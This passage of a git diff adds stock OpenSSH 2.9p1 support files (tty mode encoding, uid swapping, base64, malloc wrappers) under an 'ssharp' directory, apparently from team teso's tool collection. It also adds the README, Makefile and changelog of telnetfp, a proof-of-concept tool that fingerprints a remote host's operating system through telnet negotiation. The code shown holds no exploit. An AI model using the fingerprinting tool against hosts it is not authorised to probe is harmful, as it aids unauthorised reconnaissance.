+ return 4800; + case B9600: + return 9600; + +#ifdef B19200 + case B19200: + return 19200; +#else /* B19200 */ +#ifdef EXTA + case EXTA: + return 19200; +#endif /* EXTA */ +#endif /* B19200 */ + +#ifdef B38400 + case B38400: + return 38400; +#else /* B38400 */ +#ifdef EXTB + case EXTB: + return 38400; +#endif /* EXTB */ +#endif /* B38400 */ + +#ifdef B7200 + case B7200: + return 7200; +#endif /* B7200 */ +#ifdef B14400 + case B14400: + return 14400; +#endif /* B14400 */ +#ifdef B28800 + case B28800: + return 28800; +#endif /* B28800 */ +#ifdef B57600 + case B57600: + return 57600; +#endif /* B57600 */ +#ifdef B76800 + case B76800: + return 76800; +#endif /* B76800 */ +#ifdef B115200 + case B115200: + return 115200; +#endif /* B115200 */ +#ifdef B230400 + case B230400: + return 230400; +#endif /* B230400 */ + default: + return 9600; + } +} + +/* + * Converts a numeric baud rate to a POSIX speed_t. + */ +static speed_t +baud_to_speed(int baud) +{ + switch (baud) { + case 0: + return B0; + case 50: + return B50; + case 75: + return B75; + case 110: + return B110; + case 134: + return B134; + case 150: + return B150; + case 200: + return B200; + case 300: + return B300; + case 600: + return B600; + case 1200: + return B1200; + case 1800: + return B1800; + case 2400: + return B2400; + case 4800: + return B4800; + case 9600: + return B9600; + +#ifdef B19200 + case 19200: + return B19200; +#else /* B19200 */ +#ifdef EXTA + case 19200: + return EXTA; +#endif /* EXTA */ +#endif /* B19200 */ + +#ifdef B38400 + case 38400: + return B38400; +#else /* B38400 */ +#ifdef EXTB + case 38400: + return EXTB; +#endif /* EXTB */ +#endif /* B38400 */ + +#ifdef B7200 + case 7200: + return B7200; +#endif /* B7200 */ +#ifdef B14400 + case 14400: + return B14400; +#endif /* B14400 */ +#ifdef B28800 + case 28800: + return B28800; +#endif /* B28800 */ +#ifdef B57600 + case 57600: + return B57600; +#endif /* B57600 */ +#ifdef B76800 + case 76800: + return B76800; +#endif /* B76800 */ +#ifdef B115200 + case 115200: + return B115200; +#endif /* B115200 */ +#ifdef B230400 + case 230400: + return B230400; +#endif /* B230400 */ + default: + return B9600; + } +} + +/* + * Encodes terminal modes for the terminal referenced by fd + * or tiop in a portable manner, and appends the modes to a packet + * being constructed. + */ +void +tty_make_modes(int fd, struct termios *tiop) +{ + struct termios tio; + int baud; + Buffer buf; + int tty_op_ospeed, tty_op_ispeed; + void (*put_arg)(Buffer *, u_int); + + buffer_init(&buf); + if (compat20) { + tty_op_ospeed = TTY_OP_OSPEED_PROTO2; + tty_op_ispeed = TTY_OP_ISPEED_PROTO2; + put_arg = buffer_put_int; + } else { + tty_op_ospeed = TTY_OP_OSPEED_PROTO1; + tty_op_ispeed = TTY_OP_ISPEED_PROTO1; + put_arg = (void (*)(Buffer *, u_int)) buffer_put_char; + } + + if (tiop == NULL) { + if (tcgetattr(fd, &tio) == -1) { + log("tcgetattr: %.100s", strerror(errno)); + goto end; + } + } else + tio = *tiop; + + /* Store input and output baud rates. */ + baud = speed_to_baud(cfgetospeed(&tio)); + debug2("tty_make_modes: ospeed %d", baud); + buffer_put_char(&buf, tty_op_ospeed); + buffer_put_int(&buf, baud); + baud = speed_to_baud(cfgetispeed(&tio)); + debug2("tty_make_modes: ispeed %d", baud); + buffer_put_char(&buf, tty_op_ispeed); + buffer_put_int(&buf, baud); + + /* Store values of mode flags. */ +#define TTYCHAR(NAME, OP) \ + debug2("tty_make_modes: %d %d", OP, tio.c_cc[NAME]); \ + buffer_put_char(&buf, OP); \ + put_arg(&buf, tio.c_cc[NAME]); + +#define TTYMODE(NAME, FIELD, OP) \ + debug2("tty_make_modes: %d %d", OP, ((tio.FIELD & NAME) != 0)); \ + buffer_put_char(&buf, OP); \ + put_arg(&buf, ((tio.FIELD & NAME) != 0)); + +#include "ttymodes.h" + +#undef TTYCHAR +#undef TTYMODE + +end: + /* Mark end of mode data. */ + buffer_put_char(&buf, TTY_OP_END); + if (compat20) + packet_put_string(buffer_ptr(&buf), buffer_len(&buf)); + else + packet_put_raw(buffer_ptr(&buf), buffer_len(&buf)); + buffer_free(&buf); + return; +} + +/* + * Decodes terminal modes for the terminal referenced by fd in a portable + * manner from a packet being read. + */ +void +tty_parse_modes(int fd, int *n_bytes_ptr) +{ + struct termios tio; + int opcode, baud; + int n_bytes = 0; + int failure = 0; + u_int (*get_arg)(void); + int arg, arg_size; + + if (compat20) { + *n_bytes_ptr = packet_get_int(); + debug2("tty_parse_modes: SSH2 n_bytes %d", *n_bytes_ptr); + if (*n_bytes_ptr == 0) + return; + get_arg = packet_get_int; + arg_size = 4; + } else { + get_arg = packet_get_char; + arg_size = 1; + } + + /* + * Get old attributes for the terminal. We will modify these + * flags. I am hoping that if there are any machine-specific + * modes, they will initially have reasonable values. + */ + if (tcgetattr(fd, &tio) == -1) { + log("tcgetattr: %.100s", strerror(errno)); + failure = -1; + } + + for (;;) { + n_bytes += 1; + opcode = packet_get_char(); + switch (opcode) { + case TTY_OP_END: + goto set; + + /* XXX: future conflict possible */ + case TTY_OP_ISPEED_PROTO1: + case TTY_OP_ISPEED_PROTO2: + n_bytes += 4; + baud = packet_get_int(); + debug2("tty_parse_modes: ispeed %d", baud); + if (failure != -1 && cfsetispeed(&tio, baud_to_speed(baud)) == -1) + error("cfsetispeed failed for %d", baud); + break; + + /* XXX: future conflict possible */ + case TTY_OP_OSPEED_PROTO1: + case TTY_OP_OSPEED_PROTO2: + n_bytes += 4; + baud = packet_get_int(); + debug2("tty_parse_modes: ospeed %d", baud); + if (failure != -1 && cfsetospeed(&tio, baud_to_speed(baud)) == -1) + error("cfsetospeed failed for %d", baud); + break; + +#define TTYCHAR(NAME, OP) \ + case OP: \ + n_bytes += arg_size; \ + tio.c_cc[NAME] = get_arg(); \ + debug2("tty_parse_modes: %d %d", OP, tio.c_cc[NAME]); \ + break; +#define TTYMODE(NAME, FIELD, OP) \ + case OP: \ + n_bytes += arg_size; \ + if ((arg = get_arg())) \ + tio.FIELD |= NAME; \ + else \ + tio.FIELD &= ~NAME; \ + debug2("tty_parse_modes: %d %d", OP, arg); \ + break; + +#include "ttymodes.h" + +#undef TTYCHAR +#undef TTYMODE + + default: + debug("Ignoring unsupported tty mode opcode %d (0x%x)", + opcode, opcode); + if (!compat20) { + /* + * SSH1: + * Opcodes 1 to 127 are defined to have + * a one-byte argument. + * Opcodes 128 to 159 are defined to have + * an integer argument. + */ + if (opcode > 0 && opcode < 128) { + n_bytes += 1; + (void) packet_get_char(); + break; + } else if (opcode >= 128 && opcode < 160) { + n_bytes += 4; + (void) packet_get_int(); + break; + } else { + /* + * It is a truly undefined opcode (160 to 255). + * We have no idea about its arguments. So we + * must stop parsing. Note that some data may be + * left in the packet; hopefully there is nothing + * more coming after the mode data. + */ + log("parse_tty_modes: unknown opcode %d", opcode); + packet_integrity_check(0, 1, SSH_CMSG_REQUEST_PTY); + goto set; + } + } else { + /* + * SSH2: + * Opcodes 1 to 159 are defined to have + * a uint32 argument. + * Opcodes 160 to 255 are undefined and + * cause parsing to stop. + */ + if (opcode > 0 && opcode < 160) { + n_bytes += 4; + (void) packet_get_int(); + break; + } else { + log("parse_tty_modes: unknown opcode %d", opcode); + goto set; + } + } + } + } + +set: + if (*n_bytes_ptr != n_bytes) { + *n_bytes_ptr = n_bytes; + log("parse_tty_modes: n_bytes_ptr != n_bytes: %d %d", + *n_bytes_ptr, n_bytes); + return; /* Don't process bytes passed */ + } + if (failure == -1) + return; /* Packet parsed ok but tcgetattr() failed */ + + /* Set the new modes for the terminal. */ + if (tcsetattr(fd, TCSANOW, &tio) == -1) + log("Setting tty modes failed: %.100s", strerror(errno)); + return; +} diff --git a/other/ssharp/ttymodes.h b/other/ssharp/ttymodes.h new file mode 100644 index 0000000..ad980e9 --- /dev/null +++ b/other/ssharp/ttymodes.h @@ -0,0 +1,172 @@ +/* RCSID("$OpenBSD: ttymodes.h,v 1.11 2001/04/14 16:33:20 stevesk Exp $"); */ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* + * SSH2 tty modes support by Kevin Steves. + * Copyright (c) 2001 Kevin Steves. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * SSH1: + * The tty mode description is a stream of bytes. The stream consists of + * opcode-arguments pairs. It is terminated by opcode TTY_OP_END (0). + * Opcodes 1-127 have one-byte arguments. Opcodes 128-159 have integer + * arguments. Opcodes 160-255 are not yet defined, and cause parsing to + * stop (they should only be used after any other data). + * + * SSH2: + * Differences between SSH1 and SSH2 terminal mode encoding include: + * 1. Encoded terminal modes are represented as a string, and a stream + * of bytes within that string. + * 2. Opcode arguments are uint32 (1-159); 160-255 remain undefined. + * 3. The values for TTY_OP_ISPEED and TTY_OP_OSPEED are different; + * 128 and 129 vs. 192 and 193 respectively. + * + * The client puts in the stream any modes it knows about, and the + * server ignores any modes it does not know about. This allows some degree + * of machine-independence, at least between systems that use a posix-like + * tty interface. The protocol can support other systems as well, but might + * require reimplementing as mode names would likely be different. + */ + +/* + * Some constants and prototypes are defined in packet.h; this file + * is only intended for including from ttymodes.c. + */ + +/* termios macro */ +/* name, op */ +TTYCHAR(VINTR, 1) +TTYCHAR(VQUIT, 2) +TTYCHAR(VERASE, 3) +#if defined(VKILL) +TTYCHAR(VKILL, 4) +#endif /* VKILL */ +TTYCHAR(VEOF, 5) +#if defined(VEOL) +TTYCHAR(VEOL, 6) +#endif /* VEOL */ +#ifdef VEOL2 +TTYCHAR(VEOL2, 7) +#endif /* VEOL2 */ +TTYCHAR(VSTART, 8) +TTYCHAR(VSTOP, 9) +#if defined(VSUSP) +TTYCHAR(VSUSP, 10) +#endif /* VSUSP */ +#if defined(VDSUSP) +TTYCHAR(VDSUSP, 11) +#endif /* VDSUSP */ +#if defined(VREPRINT) +TTYCHAR(VREPRINT, 12) +#endif /* VREPRINT */ +#if defined(VWERASE) +TTYCHAR(VWERASE, 13) +#endif /* VWERASE */ +#if defined(VLNEXT) +TTYCHAR(VLNEXT, 14) +#endif /* VLNEXT */ +#if defined(VFLUSH) +TTYCHAR(VFLUSH, 15) +#endif /* VFLUSH */ +#ifdef VSWTCH +TTYCHAR(VSWTCH, 16) +#endif /* VSWTCH */ +#if defined(VSTATUS) +TTYCHAR(VSTATUS, 17) +#endif /* VSTATUS */ +#ifdef VDISCARD +TTYCHAR(VDISCARD, 18) +#endif /* VDISCARD */ + +/* name, field, op */ +TTYMODE(IGNPAR, c_iflag, 30) +TTYMODE(PARMRK, c_iflag, 31) +TTYMODE(INPCK, c_iflag, 32) +TTYMODE(ISTRIP, c_iflag, 33) +TTYMODE(INLCR, c_iflag, 34) +TTYMODE(IGNCR, c_iflag, 35) +TTYMODE(ICRNL, c_iflag, 36) +#if defined(IUCLC) +TTYMODE(IUCLC, c_iflag, 37) +#endif +TTYMODE(IXON, c_iflag, 38) +TTYMODE(IXANY, c_iflag, 39) +TTYMODE(IXOFF, c_iflag, 40) +#ifdef IMAXBEL +TTYMODE(IMAXBEL,c_iflag, 41) +#endif /* IMAXBEL */ + +TTYMODE(ISIG, c_lflag, 50) +TTYMODE(ICANON, c_lflag, 51) +#ifdef XCASE +TTYMODE(XCASE, c_lflag, 52) +#endif +TTYMODE(ECHO, c_lflag, 53) +TTYMODE(ECHOE, c_lflag, 54) +TTYMODE(ECHOK, c_lflag, 55) +TTYMODE(ECHONL, c_lflag, 56) +TTYMODE(NOFLSH, c_lflag, 57) +TTYMODE(TOSTOP, c_lflag, 58) +#ifdef IEXTEN +TTYMODE(IEXTEN, c_lflag, 59) +#endif /* IEXTEN */ +#if defined(ECHOCTL) +TTYMODE(ECHOCTL,c_lflag, 60) +#endif /* ECHOCTL */ +#ifdef ECHOKE +TTYMODE(ECHOKE, c_lflag, 61) +#endif /* ECHOKE */ +#if defined(PENDIN) +TTYMODE(PENDIN, c_lflag, 62) +#endif /* PENDIN */ + +TTYMODE(OPOST, c_oflag, 70) +#if defined(OLCUC) +TTYMODE(OLCUC, c_oflag, 71) +#endif +TTYMODE(ONLCR, c_oflag, 72) +#ifdef OCRNL +TTYMODE(OCRNL, c_oflag, 73) +#endif +#ifdef ONOCR +TTYMODE(ONOCR, c_oflag, 74) +#endif +#ifdef ONLRET +TTYMODE(ONLRET, c_oflag, 75) +#endif + +TTYMODE(CS7, c_cflag, 90) +TTYMODE(CS8, c_cflag, 91) +TTYMODE(PARENB, c_cflag, 92) +TTYMODE(PARODD, c_cflag, 93) diff --git a/other/ssharp/uidswap.c b/other/ssharp/uidswap.c new file mode 100644 index 0000000..3b264cf --- /dev/null +++ b/other/ssharp/uidswap.c @@ -0,0 +1,155 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Code for uid-swapping. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: uidswap.c,v 1.16 2001/04/20 16:32:22 markus Exp $"); + +#include "log.h" +#include "uidswap.h" + +/* + * Note: all these functions must work in all of the following cases: + * 1. euid=0, ruid=0 + * 2. euid=0, ruid!=0 + * 3. euid!=0, ruid!=0 + * Additionally, they must work regardless of whether the system has + * POSIX saved uids or not. + */ + +#if defined(_POSIX_SAVED_IDS) && !defined(BROKEN_SAVED_UIDS) +/* Lets assume that posix saved ids also work with seteuid, even though that + is not part of the posix specification. */ +#define SAVED_IDS_WORK_WITH_SETEUID +/* Saved effective uid. */ +static uid_t saved_euid = 0; +static gid_t saved_egid = 0; +#endif + +/* Saved effective uid. */ +static int privileged = 0; +static int temporarily_use_uid_effective = 0; +static gid_t saved_egroups[NGROUPS_MAX], user_groups[NGROUPS_MAX]; +static int saved_egroupslen = -1, user_groupslen = -1; + +/* + * Temporarily changes to the given uid. If the effective user + * id is not root, this does nothing. This call cannot be nested. + */ +void +temporarily_use_uid(struct passwd *pw) +{ + /* Save the current euid, and egroups. */ +#ifdef SAVED_IDS_WORK_WITH_SETEUID + saved_euid = geteuid(); + saved_egid = getegid(); + debug("temporarily_use_uid: %d/%d (e=%d)", + pw->pw_uid, pw->pw_gid, saved_euid); + if (saved_euid != 0) { + privileged = 0; + return; + } +#else + if (geteuid() != 0) { + privileged = 0; + return; + } +#endif /* SAVED_IDS_WORK_WITH_SETEUID */ + + privileged = 1; + temporarily_use_uid_effective = 1; + saved_egroupslen = getgroups(NGROUPS_MAX, saved_egroups); + if (saved_egroupslen < 0) + fatal("getgroups: %.100s", strerror(errno)); + + /* set and save the user's groups */ + if (user_groupslen == -1) { + if (initgroups(pw->pw_name, pw->pw_gid) < 0) + fatal("initgroups: %s: %.100s", pw->pw_name, + strerror(errno)); + user_groupslen = getgroups(NGROUPS_MAX, user_groups); + if (user_groupslen < 0) + fatal("getgroups: %.100s", strerror(errno)); + } +#ifndef HAVE_CYGWIN + /* Set the effective uid to the given (unprivileged) uid. */ + if (setgroups(user_groupslen, user_groups) < 0) + fatal("setgroups: %.100s", strerror(errno)); +#endif /* !HAVE_CYWIN */ +#ifndef SAVED_IDS_WORK_WITH_SETEUID + /* Propagate the privileged gid to all of our gids. */ + if (setgid(getegid()) < 0) + debug("setgid %u: %.100s", (u_int) getegid(), strerror(errno)); + /* Propagate the privileged uid to all of our uids. */ + if (setuid(geteuid()) < 0) + debug("setuid %u: %.100s", (u_int) geteuid(), strerror(errno)); +#endif /* SAVED_IDS_WORK_WITH_SETEUID */ + if (setegid(pw->pw_gid) < 0) + fatal("setegid %u: %.100s", (u_int) pw->pw_gid, + strerror(errno)); + if (seteuid(pw->pw_uid) == -1) + fatal("seteuid %u: %.100s", (u_int) pw->pw_uid, + strerror(errno)); +} + +/* + * Restores to the original (privileged) uid. + */ +void +restore_uid(void) +{ + debug("restore_uid"); + /* it's a no-op unless privileged */ + if (!privileged) + return; + if (!temporarily_use_uid_effective) + fatal("restore_uid: temporarily_use_uid not effective"); + +#ifdef SAVED_IDS_WORK_WITH_SETEUID + /* Set the effective uid back to the saved privileged uid. */ + if (seteuid(saved_euid) < 0) + fatal("seteuid %u: %.100s", (u_int) saved_euid, + strerror(errno)); + if (setegid(saved_egid) < 0) + fatal("setegid %u: %.100s", (u_int) saved_egid, + strerror(errno)); +#else /* SAVED_IDS_WORK_WITH_SETEUID */ + /* + * We are unable to restore the real uid to its unprivileged value. + * Propagate the real uid (usually more privileged) to effective uid + * as well. + */ + setuid(getuid()); + setgid(getgid()); +#endif /* SAVED_IDS_WORK_WITH_SETEUID */ + +#ifndef HAVE_CYGWIN + if (setgroups(saved_egroupslen, saved_egroups) < 0) + fatal("setgroups: %.100s", strerror(errno)); +#endif /* !HAVE_CYGWIN */ + temporarily_use_uid_effective = 0; +} + +/* + * Permanently sets all uids to the given uid. This cannot be + * called while temporarily_use_uid is effective. + */ +void +permanently_set_uid(struct passwd *pw) +{ + if (temporarily_use_uid_effective) + fatal("restore_uid: temporarily_use_uid effective"); + if (setgid(pw->pw_gid) < 0) + fatal("setgid %u: %.100s", (u_int) pw->pw_gid, strerror(errno)); + if (setuid(pw->pw_uid) < 0) + fatal("setuid %u: %.100s", (u_int) pw->pw_uid, strerror(errno)); +} diff --git a/other/ssharp/uidswap.h b/other/ssharp/uidswap.h new file mode 100644 index 0000000..228e5a5 --- /dev/null +++ b/other/ssharp/uidswap.h @@ -0,0 +1,36 @@ +/* $OpenBSD: uidswap.h,v 1.7 2001/04/06 21:00:17 markus Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#ifndef UIDSWAP_H +#define UIDSWAP_H + +/* + * Temporarily changes to the given uid. If the effective user id is not + * root, this does nothing. This call cannot be nested. + */ +void temporarily_use_uid(struct passwd *pw); + +/* + * Restores the original effective user id after temporarily_use_uid(). + * This should only be called while temporarily_use_uid is effective. + */ +void restore_uid(void); + +/* + * Permanently sets all uids to the given uid. This cannot be called while + * temporarily_use_uid is effective. This must also clear any saved uids. + */ +void permanently_set_uid(struct passwd *pw); + +#endif /* UIDSWAP_H */ diff --git a/other/ssharp/uuencode.c b/other/ssharp/uuencode.c new file mode 100644 index 0000000..f3774f1 --- /dev/null +++ b/other/ssharp/uuencode.c @@ -0,0 +1,75 @@ +/* $OpenBSD: uuencode.c,v 1.12 2001/03/01 02:27:18 deraadt Exp $ */ + +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +#include "xmalloc.h" +#include "uuencode.h" + +RCSID("$OpenBSD: uuencode.c,v 1.12 2001/03/01 02:27:18 deraadt Exp $"); + +int +uuencode(u_char *src, u_int srclength, + char *target, size_t targsize) +{ + return __b64_ntop(src, srclength, target, targsize); +} + +int +uudecode(const char *src, u_char *target, size_t targsize) +{ + int len; + char *encoded, *p; + + /* copy the 'readonly' source */ + encoded = xstrdup(src); + /* skip whitespace and data */ + for (p = encoded; *p == ' ' || *p == '\t'; p++) + ; + for (; *p != '\0' && *p != ' ' && *p != '\t'; p++) + ; + /* and remote trailing whitespace because __b64_pton needs this */ + *p = '\0'; + len = __b64_pton(encoded, target, targsize); + xfree(encoded); + return len; +} + +void +dump_base64(FILE *fp, u_char *data, int len) +{ + u_char *buf = xmalloc(2*len); + int i, n; + + n = uuencode(data, len, buf, 2*len); + for (i = 0; i < n; i++) { + fprintf(fp, "%c", buf[i]); + if (i % 70 == 69) + fprintf(fp, "\n"); + } + if (i % 70 != 69) + fprintf(fp, "\n"); + xfree(buf); +} diff --git a/other/ssharp/uuencode.h b/other/ssharp/uuencode.h new file mode 100644 index 0000000..42f83c2 --- /dev/null +++ b/other/ssharp/uuencode.h @@ -0,0 +1,32 @@ +/* $OpenBSD: uuencode.h,v 1.5 2001/01/29 01:58:19 niklas Exp $ */ + +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef UUENCODE_H +#define UUENCODE_H +int uuencode(u_char *src, u_int srclength, char *target, size_t targsize); +int uudecode(const char *src, u_char *target, size_t targsize); +void dump_base64(FILE *fp, u_char *data, int len); +#endif diff --git a/other/ssharp/version.h b/other/ssharp/version.h new file mode 100644 index 0000000..0e78887 --- /dev/null +++ b/other/ssharp/version.h @@ -0,0 +1,3 @@ +/* $OpenBSD: version.h,v 1.23 2001/04/24 16:43:16 markus Exp $ */ + +#define SSH_VERSION "OpenSSH_2.9p1" diff --git a/other/ssharp/xmalloc.c b/other/ssharp/xmalloc.c new file mode 100644 index 0000000..5046627 --- /dev/null +++ b/other/ssharp/xmalloc.c @@ -0,0 +1,69 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Versions of malloc and friends that check their results, and never return + * failure (they call fatal if they encounter an error). + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: xmalloc.c,v 1.15 2001/04/16 08:05:34 deraadt Exp $"); + +#include "xmalloc.h" +#include "log.h" + +void * +xmalloc(size_t size) +{ + void *ptr; + + if (size == 0) + fatal("xmalloc: zero size"); + ptr = malloc(size); + if (ptr == NULL) + fatal("xmalloc: out of memory (allocating %lu bytes)", (u_long) size); + return ptr; +} + +void * +xrealloc(void *ptr, size_t new_size) +{ + void *new_ptr; + + if (new_size == 0) + fatal("xrealloc: zero size"); + if (ptr == NULL) + new_ptr = malloc(new_size); + else + new_ptr = realloc(ptr, new_size); + if (new_ptr == NULL) + fatal("xrealloc: out of memory (new_size %lu bytes)", (u_long) new_size); + return new_ptr; +} + +void +xfree(void *ptr) +{ + if (ptr == NULL) + fatal("xfree: NULL pointer given as argument"); + free(ptr); +} + +char * +xstrdup(const char *str) +{ + size_t len = strlen(str) + 1; + char *cp; + + if (len == 0) + fatal("xstrdup: zero size"); + cp = xmalloc(len); + strlcpy(cp, str, len); + return cp; +} diff --git a/other/ssharp/xmalloc.h b/other/ssharp/xmalloc.h new file mode 100644 index 0000000..59a598e --- /dev/null +++ b/other/ssharp/xmalloc.h @@ -0,0 +1,34 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Mon Mar 20 22:09:17 1995 ylo + * + * Versions of malloc and friends that check their results, and never return + * failure (they call fatal if they encounter an error). + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: xmalloc.h,v 1.5 2000/09/07 20:27:56 deraadt Exp $"); */ + +#ifndef XMALLOC_H +#define XMALLOC_H + +/* Like malloc, but calls fatal() if out of memory. */ +void *xmalloc(size_t size); + +/* Like realloc, but calls fatal() if out of memory. */ +void *xrealloc(void *ptr, size_t new_size); + +/* Frees memory allocated using xmalloc or xrealloc. */ +void xfree(void *ptr); + +/* Allocates memory using xmalloc, and copies the string into that memory. */ +char *xstrdup(const char *str); + +#endif /* XMALLOC_H */ diff --git a/other/telnetfp-0.1.2/Changelog b/other/telnetfp-0.1.2/Changelog new file mode 100644 index 0000000..be6a59f --- /dev/null +++ b/other/telnetfp-0.1.2/Changelog @@ -0,0 +1,16 @@ +01/11/2001: + -added more fingerprints (thanks again to submitters). + -added interactive modes and connect attemp timeout. + -finaly found some ev1l typo in README. (hang me!). + -fixed some minor bugs. (0.1.2) + +09/07/2000: + -added fingerprint (thanks to anyone who submitted). + -modified compare_do_dont_line () (fingerdb.cpp) a + little to do (pseudo-) fuzzy matching. + -fixed a stupid bug in find_in_db () (fingerdb.cpp), + the logical maximum for a line in the fingerprint db + is 126 characters. (0.1.1) + +09/04/2000: + first public release (0.1.0) diff --git a/other/telnetfp-0.1.2/Makefile b/other/telnetfp-0.1.2/Makefile new file mode 100644 index 0000000..af37834 --- /dev/null +++ b/other/telnetfp-0.1.2/Makefile @@ -0,0 +1,10 @@ +CC = g++ +CFLAGS = -g -O2 -I. #-lsocket -lnsl + +all: telnetfp + +telnetfp: + $(CC) $(CFLAGS) -o telnetfp telnetfp.cpp + +clean: + @rm -rf telnetfp diff --git a/other/telnetfp-0.1.2/README b/other/telnetfp-0.1.2/README new file mode 100644 index 0000000..7419028 --- /dev/null +++ b/other/telnetfp-0.1.2/README @@ -0,0 +1,22 @@ +telnetfp0.1.2 by Palmers / teso + +what is this anyway? +this neat program determins a given hosts OS via telnet do/dont negotiation. +of course, it is only prove of concept code and the intellectual property of +team teso (http://www.team-teso.org|http://www.team-teso.net). + +how does it work? +if a telnet connection is established options are exchanged. this can be used +to fingerprint a host, because of the options themself and the order of the +options. +this program connects to a hosts telnet daemon and reads the first set of +options (do's in most cases). to these the proper answer is send. now a second +round of negotiation takes place. options (dont's this time) are recived and +the fingerprint is completely recived. + +installation: +type 'make' and be happy (or see Makefile or write me a mail, with a bug report). + +misc: +my greets go to my true friends, you know who you are. +pa1mers@gmx.de (for feedback, flames & fingerprints). diff --git a/other/telnetfp-0.1.2/base_net.cpp b/other/telnetfp-0.1.2/base_net.cpp new file mode 100644 index 0000000..0635985 --- /dev/null +++ b/other/telnetfp-0.1.2/base_net.cpp @@ -0,0 